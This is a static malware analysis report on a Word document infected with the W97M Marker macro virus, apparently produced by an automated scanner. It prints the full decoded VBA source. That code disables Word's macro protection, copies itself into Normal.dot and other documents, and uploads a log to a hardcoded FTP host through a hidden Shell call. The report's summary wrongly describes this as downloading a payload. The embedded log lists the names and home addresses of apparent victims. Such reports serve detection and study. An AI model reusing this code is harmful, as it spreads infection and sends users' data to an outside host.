Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbcab8bcb84088ad…

MALICIOUS

Office (OLE)

258.0 KB Created: 2002-07-29 01:45:00 Authoring application: Microsoft Word 8.0 First seen: 2015-01-04
MD5: 260122236b93bf538faa8a1bfae99565 SHA-1: d9955739a88fb7b175478213aabd83948e96089a SHA-256: fbcab8bcb84088ad745dcd63bad2b2e3a0b181b2f57413785eb5a66260e561b5
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1190 Exploit Public-Facing Application T1071.001 Web Protocols

The sample contains VBA macros that are designed to disable macro protection and replicate themselves within the document and Normal.dot template. The script also attempts to download a second-stage payload from the hardcoded IP address 209.201.88.110, writing it to 'c:\hsf*.sys' and 'c:\netldx.vxd'. This indicates a downloader or droppper functionality.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5888 bytes
SHA-256: 2bd7d137909951116e75c409f64092d75633aa4163e1a06ca1c6d3ff4f639cef
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 02:07:27 PM - Thursday, 10 Dec 1998
' TSG
'



' 03:59:04 PM - Friday, 18 Dec 1998
' United Parcel Service
'



' 03:01:04 PM - Thursday, 24 Dec 1998
' Kenneth A. Freeman
' United Parcel Service
' District TSG Manager
' Kenneth A. Freeman
' 1506 Joh Avenue
' Baltimore, Maryland  21227



' 04:42:10 PM - Tuesday, 5 Jan 1999
' ECR1TJC
'



' 11:33:23 AM - Thursday, 7 Jan 1999
' Dan Koza
'



' 10:33:55 AM - Wednesday, 13 Jan 1999
' John Zowacki
'



' 09:36:33 AM - Friday, 15 Jan 1999
' Tom Norton
' Hubbard Broadcasting, Inc
' Human Resources Department
' 3415 University Avenue
' St. Paul, Minnesota 55114



' 10:19:03 AM - Monday, 18 Jan 1999
' United Parcel Service
'



' 07:29:14 PM - Monday, 25 Jan 1999
' UPS
'



' 09:39:15 AM - Thursday, 28 Jan 1999
' Randy Stashick
'



' 02:16:49 PM - Wednesday, 3 Feb 1999
' Business Development
'



' 04:18:07 PM - Tuesday, 9 Feb 1999
' GAGL55BDSTorres
'



' 11:00:31 AM - Thursday, 18 Feb 1999
' Curt Czajkoski
'



' 03:50:32 PM - Wednesday, 3 Mar 1999
' UPS
'



' 11:00:19 AM - Domingo, 14 Mar 1999
' Yamil Malave
'



' 05:30:02 PM - Martes, 23 Mar 1999
' Compaq
'



' 10:22:21 PM - Martes, 11 May 1999
' Flia. Ocque Quintero
'



' 01.46.09  - miércoles, 23 jun 1999
' Invitado
'



' 10.24.53  - martes, 17 ago 1999
' Invitado
'



' 09:43:30  - martes, 24 ago 1999
' A
'



' 05:31:41 p.m. - viernes, 15 oct 1999
' Bandivisas
'



' 04:24:02  - martes, 26 oct 1999
' ELENA DELGADO
'



' 04:03:40  - jueves, 25 nov 1999
' Museo America 01
'



' 12:01:24  - martes, 30 nov 1999
' Museo de America 08
'



' 10:51:04 AM - Thursday, 9 Mar 2000
' 3363
'



' 10:39:25 AM - Monday, 27 Mar 2000
' vance muse
'



' 06:54:50 PM - Tuesday, 4 Apr 2000
' exhibitions
'



' 05:29:09 PM - Wednesday, 31 May 2000
' Alberta Mayo
'



' 08:31:35 AM - Monday, 27 Nov 2000
' Charles Goldman
' Charles Goldman
' 475 Dean Street, 5B
' Brooklyn, NY  11217